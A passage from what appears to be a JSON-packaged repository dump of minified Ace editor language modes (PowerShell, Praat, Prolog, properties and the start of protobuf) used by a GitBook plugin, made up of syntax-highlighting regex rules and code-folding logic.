RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/powershell\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/powershell_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./powershell_highlight_rules\").PowershellHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a({start:\"^\\\\s*(<#)\",end:\"^[#\\\\s]>\\\\s*$\"})};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.blockComment={start:\"<#\",end:\"#>\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){return null},this.$id=\"ace/mode/powershell\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-praat.js",
    "content": "define(\"ace/mode/praat_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"if|then|else|elsif|elif|endif|fi|endfor|endproc|while|endwhile|repeat|until|select|plus|minus|assert|asserterror\",t=\"macintosh|windows|unix|praatVersion|praatVersion\\\\$pi|undefined|newline\\\\$|tab\\\\$|shellDirectory\\\\$|homeDirectory\\\\$|preferencesDirectory\\\\$|temporaryDirectory\\\\$|defaultDirectory\\\\$\",n=\"clearinfo|endSendPraat\",r=\"writeInfo|writeInfoLine|appendInfo|appendInfoLine|info\\\\$|writeFile|writeFileLine|appendFile|appendFileLine|abs|round|floor|ceiling|min|max|imin|imax|sqrt|sin|cos|tan|arcsin|arccos|arctan|arctan2|sinc|sincpi|exp|ln|lnBeta|lnGamma|log10|log2|sinh|cosh|tanh|arcsinh|arccosh|arctanh|sigmoid|invSigmoid|erf|erfc|random(?:Uniform|Integer|Gauss|Poisson|Binomial)|gaussP|gaussQ|invGaussQ|incompleteGammaP|incompleteBeta|chiSquareP|chiSquareQ|invChiSquareQ|studentP|studentQ|invStudentQ|fisherP|fisherQ|invFisherQ|binomialP|binomialQ|invBinomialP|invBinomialQ|hertzToBark|barkToHerz|hertzToMel|melToHertz|hertzToSemitones|semitonesToHerz|erb|hertzToErb|erbToHertz|phonToDifferenceLimens|differenceLimensToPhon|soundPressureToPhon|beta|beta2|besselI|besselK|numberOfColumns|numberOfRows|selected|selected\\\\$|numberOfSelected|variableExists|index|rindex|startsWith|endsWith|index_regex|rindex_regex|replace_regex\\\\$|length|extractWord\\\\$|extractLine\\\\$|extractNumber|left\\\\$|right\\\\$|mid\\\\$|replace\\\\$|date\\\\$|fixed\\\\$|percent\\\\$|zero#|linear#|randomUniform#|randomInteger#|randomGauss#|beginPause|endPause|demoShow|demoWindowTitle|demoInput|demoWaitForInput|demoClicked|demoClickedIn|demoX|demoY|demoKeyPressed|demoKey\\\\$|demoExtraControlKeyPressed|demoShiftKeyPressed|demoCommandKeyPressed|demoOptionKeyPressed|environment\\\\$|chooseReadFile\\\\$|chooseDirectory\\\\$|createDirectory|fileReadable|deleteFile|selectObject|removeObject|plusObject|minusObject|runScript|exitScript|beginSendPraat|endSendPraat|objectsAreIdentical\",i=\"Activation|AffineTransform|AmplitudeTier|Art|Artword|Autosegment|BarkFilter|CCA|Categories|Cepstrum|Cepstrumc|ChebyshevSeries|ClassificationTable|Cochleagram|Collection|Configuration|Confusion|ContingencyTable|Corpus|Correlation|Covariance|CrossCorrelationTable|CrossCorrelationTables|DTW|Diagonalizer|Discriminant|Dissimilarity|Distance|Distributions|DurationTier|EEG|ERP|ERPTier|Eigen|Excitation|Excitations|ExperimentMFC|FFNet|FeatureWeights|Formant|FormantFilter|FormantGrid|FormantPoint|FormantTier|GaussianMixture|HMM|HMM_Observation|HMM_ObservationSequence|HMM_State|HMM_StateSequence|Harmonicity|ISpline|Index|Intensity|IntensityTier|IntervalTier|KNN|KlattGrid|KlattTable|LFCC|LPC|Label|LegendreSeries|LinearRegression|LogisticRegression|LongSound|Ltas|MFCC|MSpline|ManPages|Manipulation|Matrix|MelFilter|MixingMatrix|Movie|Network|OTGrammar|OTHistory|OTMulti|PCA|PairDistribution|ParamCurve|Pattern|Permutation|Pitch|PitchTier|PointProcess|Polygon|Polynomial|Procrustes|RealPoint|RealTier|ResultsMFC|Roots|SPINET|SSCP|SVD|Salience|ScalarProduct|Similarity|SimpleString|SortedSetOfString|Sound|Speaker|Spectrogram|Spectrum|SpectrumTier|SpeechSynthesizer|SpellingChecker|Strings|StringsIndex|Table|TableOfReal|TextGrid|TextInterval|TextPoint|TextTier|Tier|Transition|VocalTract|Weight|WordList\";this.$rules={start:[{token:\"string.interpolated\",regex:/'((?:[a-z][a-zA-Z0-9_]*)(?:\\$|#|:[0-9]+)?)'/},{token:[\"text\",\"text\",\"keyword.operator\",\"text\",\"keyword\"],regex:/(^\\s*)(?:([a-z][a-zA-Z0-9_]*\\$?\\s+)(=)(\\s+))?(stopwatch)/},{token:[\"text\",\"keyword\",\"text\",\"string\"],regex:/(^\\s*)(print(?:line|tab)?|echo|exit|pause|send(?:praat|socket)|include|execute|system(?:_nocheck)?)(\\s+)(.*)/},{token:[\"text\",\"keyword\"],regex:\"(^\\\\s*)(\"+n+\")$\"},{token:[\"text\",\"keyword.operator\",\"text\"],regex:/(\\s+)((?:\\+|-|\\/|\\*|<|>)=?|==?|!=|%|\\^|\\||and|or|not)(\\s+)/},{token:[\"text\",\"text\",\"keyword.operator\",\"text\",\"keyword\",\"text\",\"keyword\"],regex:/(^\\s*)(?:([a-z][a-zA-Z0-9_]*\\$?\\s+)(=)(\\s+))?(?:((?:no)?warn|(?:unix_)?nocheck|noprogress)(\\s+))?((?:[A-Z][^.:\"]+)(?:$|(?:\\.{3}|:)))/},{token:[\"text\",\"keyword\",\"text\",\"keyword\"],regex:/(^\\s*)(?:(demo)?(\\s+))((?:[A-Z][^.:\"]+)(?:$|(?:\\.{3}|:)))/},{token:[\"text\",\"keyword\",\"text\",\"keyword\"],regex:/^(\\s*)(?:(demo)(\\s+))?(10|12|14|16|24)$/},{token:[\"text\",\"support.function\",\"text\"],regex:/(\\s*)(do\\$?)(\\s*:\\s*|\\s*\\(\\s*)/},{token:\"entity.name.type\",regex:\"(\"+i+\")\"},{token:\"variable.language\",regex:\"(\"+t+\")\"},{token:[\"support.function\",\"text\"],regex:\"((?:\"+r+\")\\\\$?)(\\\\s*(?::|\\\\())\"},{token:\"keyword\",regex:/(\\bfor\\b)/,next:\"for\"},{token:\"keyword\",regex:\"(\\\\b(?:\"+e+\")\\\\b)\"},{token:\"string\",regex:/\"[^\"]*\"/},{token:\"string\",regex:/\"[^\"]*$/,next:\"brokenstring\"},{token:[\"text\",\"keyword\",\"text\",\"entity.name.section\"],regex:/(^\\s*)(\\bform\\b)(\\s+)(.*)/,next:\"form\"},{token:\"constant.numeric\",regex:/\\b[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"keyword\",\"text\",\"entity.name.function\"],regex:/(procedure)(\\s+)(\\S+)/},{token:[\"entity.name.function\",\"text\"],regex:/(@\\S+)(:|\\s*\\()/},{token:[\"text\",\"keyword\",\"text\",\"entity.name.function\"],regex:/(^\\s*)(call)(\\s+)(\\S+)/},{token:\"comment\",regex:/(^\\s*#|;).*$/},{token:\"text\",regex:/\\s+/}],form:[{token:[\"keyword\",\"text\",\"constant.numeric\"],regex:/((?:optionmenu|choice)\\s+)(\\S+:\\s+)([0-9]+)/},{token:[\"keyword\",\"constant.numeric\"],regex:/((?:option|button)\\s+)([+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b)/},{token:[\"keyword\",\"string\"],regex:/((?:option|button)\\s+)(.*)/},{token:[\"keyword\",\"text\",\"string\"],regex:/((?:sentence|text)\\s+)(\\S+\\s*)(.*)/},{token:[\"keyword\",\"text\",\"string\",\"invalid.illegal\"],regex:/(word\\s+)(\\S+\\s*)(\\S+)?(\\s.*)?/},{token:[\"keyword\",\"text\",\"constant.language\"],regex:/(boolean\\s+)(\\S+\\s*)(0|1|\"?(?:yes|no)\"?)/},{token:[\"keyword\",\"text\",\"constant.numeric\"],regex:/((?:real|natural|positive|integer)\\s+)(\\S+\\s*)([+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b)/},{token:[\"keyword\",\"string\"],regex:/(comment\\s+)(.*)/},{token:\"keyword\",regex:\"endform\",next:\"start\"}],\"for\":[{token:[\"keyword\",\"text\",\"constant.numeric\",\"text\"],regex:/(from|to)(\\s+)([+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?)(\\s*)/},{token:[\"keyword\",\"text\"],regex:/(from|to)(\\s+\\S+\\s*)/},{token:\"text\",regex:/$/,next:\"start\"}],brokenstring:[{token:[\"text\",\"string\"],regex:/(\\s*\\.{3})([^\"]*)/},{token:\"string\",regex:/\"/,next:\"start\"}]}};r.inherits(s,i),t.PraatHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/praat\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/praat_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./praat_highlight_rules\").PraatHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/praat\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-prolog.js",
    "content": "define(\"ace/mode/prolog_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#comment\"},{include:\"#basic_fact\"},{include:\"#rule\"},{include:\"#directive\"},{include:\"#fact\"}],\"#atom\":[{token:\"constant.other.atom.prolog\",regex:\"\\\\b[a-z][a-zA-Z0-9_]*\\\\b\"},{token:\"constant.numeric.prolog\",regex:\"-?\\\\d+(?:\\\\.\\\\d+)?\"},{include:\"#string\"}],\"#basic_elem\":[{include:\"#comment\"},{include:\"#statement\"},{include:\"#constants\"},{include:\"#operators\"},{include:\"#builtins\"},{include:\"#list\"},{include:\"#atom\"},{include:\"#variable\"}],\"#basic_fact\":[{token:[\"entity.name.function.fact.basic.prolog\",\"punctuation.end.fact.basic.prolog\"],regex:\"([a-z]\\\\w*)(\\\\.)\"}],\"#builtins\":[{token:\"support.function.builtin.prolog\",regex:\"\\\\b(?:abolish|abort|ancestors|arg|ascii|assert[az]|atom(?:ic)?|body|char|close|conc|concat|consult|define|definition|dynamic|dump|fail|file|free|free_proc|functor|getc|goal|halt|head|head|integer|length|listing|match_args|member|next_clause|nl|nonvar|nth|number|cvars|nvars|offset|op|print?|prompt|putc|quoted|ratom|read|redefine|rename|retract(?:all)?|see|seeing|seen|skip|spy|statistics|system|tab|tell|telling|term|time|told|univ|unlink_clause|unspy_predicate|var|write)\\\\b\"}],\"#comment\":[{token:[\"punctuation.definition.comment.prolog\",\"comment.line.percentage.prolog\"],regex:\"(%)(.*$)\"},{token:\"punctuation.definition.comment.prolog\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.prolog\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.prolog\"}]}],\"#constants\":[{token:\"constant.language.prolog\",regex:\"\\\\b(?:true|false|yes|no)\\\\b\"}],\"#directive\":[{token:\"keyword.operator.directive.prolog\",regex:\":-\",push:[{token:\"meta.directive.prolog\",regex:\"\\\\.\",next:\"pop\"},{include:\"#comment\"},{include:\"#statement\"},{defaultToken:\"meta.directive.prolog\"}]}],\"#expr\":[{include:\"#comments\"},{token:\"meta.expression.prolog\",regex:\"\\\\(\",push:[{token:\"meta.expression.prolog\",regex:\"\\\\)\",next:\"pop\"},{include:\"#expr\"},{defaultToken:\"meta.expression.prolog\"}]},{token:\"keyword.control.cutoff.prolog\",regex:\"!\"},{token:\"punctuation.control.and.prolog\",regex:\",\"},{token:\"punctuation.control.or.prolog\",regex:\";\"},{include:\"#basic_elem\"}],\"#fact\":[{token:[\"entity.name.function.fact.prolog\",\"punctuation.begin.fact.parameters.prolog\"],regex:\"([a-z]\\\\w*)(\\\\()(?!.*:-)\",push:[{token:[\"punctuation.end.fact.parameters.prolog\",\"punctuation.end.fact.prolog\"],regex:\"(\\\\))(\\\\.?)\",next:\"pop\"},{include:\"#parameter\"},{defaultToken:\"meta.fact.prolog\"}]}],\"#list\":[{token:\"punctuation.begin.list.prolog\",regex:\"\\\\[(?=.*\\\\])\",push:[{token:\"punctuation.end.list.prolog\",regex:\"\\\\]\",next:\"pop\"},{include:\"#comment\"},{token:\"punctuation.separator.list.prolog\",regex:\",\"},{token:\"punctuation.concat.list.prolog\",regex:\"\\\\|\",push:[{token:\"meta.list.concat.prolog\",regex:\"(?=\\\\s*\\\\])\",next:\"pop\"},{include:\"#basic_elem\"},{defaultToken:\"meta.list.concat.prolog\"}]},{include:\"#basic_elem\"},{defaultToken:\"meta.list.prolog\"}]}],\"#operators\":[{token:\"keyword.operator.prolog\",regex:\"\\\\\\\\\\\\+|\\\\bnot\\\\b|\\\\bis\\\\b|->|[><]|[><\\\\\\\\:=]?=|(?:=\\\\\\\\|\\\\\\\\=)=\"}],\"#parameter\":[{token:\"variable.language.anonymous.prolog\",regex:\"\\\\b_\\\\b\"},{token:\"variable.parameter.prolog\",regex:\"\\\\b[A-Z_]\\\\w*\\\\b\"},{token:\"punctuation.separator.parameters.prolog\",regex:\",\"},{include:\"#basic_elem\"},{token:\"text\",regex:\"[^\\\\s]\"}],\"#rule\":[{token:\"meta.rule.prolog\",regex:\"(?=[a-z]\\\\w*.*:-)\",push:[{token:\"punctuation.rule.end.prolog\",regex:\"\\\\.\",next:\"pop\"},{token:\"meta.rule.signature.prolog\",regex:\"(?=[a-z]\\\\w*.*:-)\",push:[{token:\"meta.rule.signature.prolog\",regex:\"(?=:-)\",next:\"pop\"},{token:\"entity.name.function.rule.prolog\",regex:\"[a-z]\\\\w*(?=\\\\(|\\\\s*:-)\"},{token:\"punctuation.rule.parameters.begin.prolog\",regex:\"\\\\(\",push:[{token:\"punctuation.rule.parameters.end.prolog\",regex:\"\\\\)\",next:\"pop\"},{include:\"#parameter\"},{defaultToken:\"meta.rule.parameters.prolog\"}]},{defaultToken:\"meta.rule.signature.prolog\"}]},{token:\"keyword.operator.definition.prolog\",regex:\":-\",push:[{token:\"meta.rule.definition.prolog\",regex:\"(?=\\\\.)\",next:\"pop\"},{include:\"#comment\"},{include:\"#expr\"},{defaultToken:\"meta.rule.definition.prolog\"}]},{defaultToken:\"meta.rule.prolog\"}]}],\"#statement\":[{token:\"meta.statement.prolog\",regex:\"(?=[a-z]\\\\w*\\\\()\",push:[{token:\"punctuation.end.statement.parameters.prolog\",regex:\"\\\\)\",next:\"pop\"},{include:\"#builtins\"},{include:\"#atom\"},{token:\"punctuation.begin.statement.parameters.prolog\",regex:\"\\\\(\",push:[{token:\"meta.statement.parameters.prolog\",regex:\"(?=\\\\))\",next:\"pop\"},{token:\"punctuation.separator.statement.prolog\",regex:\",\"},{include:\"#basic_elem\"},{defaultToken:\"meta.statement.parameters.prolog\"}]},{defaultToken:\"meta.statement.prolog\"}]}],\"#string\":[{token:\"punctuation.definition.string.begin.prolog\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.prolog\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.prolog\",regex:\"\\\\\\\\.\"},{token:\"constant.character.escape.quote.prolog\",regex:\"''\"},{defaultToken:\"string.quoted.single.prolog\"}]}],\"#variable\":[{token:\"variable.language.anonymous.prolog\",regex:\"\\\\b_\\\\b\"},{token:\"variable.other.prolog\",regex:\"\\\\b[A-Z_][a-zA-Z0-9_]*\\\\b\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"plg\",\"prolog\"],foldingStartMarker:\"(%\\\\s*region \\\\w*)|([a-z]\\\\w*.*:- ?)\",foldingStopMarker:\"(%\\\\s*end(\\\\s*region)?)|(?=\\\\.)\",keyEquivalent:\"^~P\",name:\"Prolog\",scopeName:\"source.prolog\"},r.inherits(s,i),t.PrologHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/prolog\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/prolog_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./prolog_highlight_rules\").PrologHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"%\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/prolog\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-properties.js",
    "content": "define(\"ace/mode/properties_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=/\\\\u[0-9a-fA-F]{4}|\\\\/;this.$rules={start:[{token:\"comment\",regex:/[!#].*$/},{token:\"keyword\",regex:/[=:]$/},{token:\"keyword\",regex:/[=:]/,next:\"value\"},{token:\"constant.language.escape\",regex:e},{defaultToken:\"variable\"}],value:[{regex:/\\\\$/,token:\"string\",next:\"value\"},{regex:/$/,token:\"string\",next:\"start\"},{token:\"constant.language.escape\",regex:e},{defaultToken:\"string\"}]}};r.inherits(s,i),t.PropertiesHighlightRules=s}),define(\"ace/mode/properties\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/properties_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./properties_highlight_rules\").PropertiesHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/properties\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-protobuf.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var 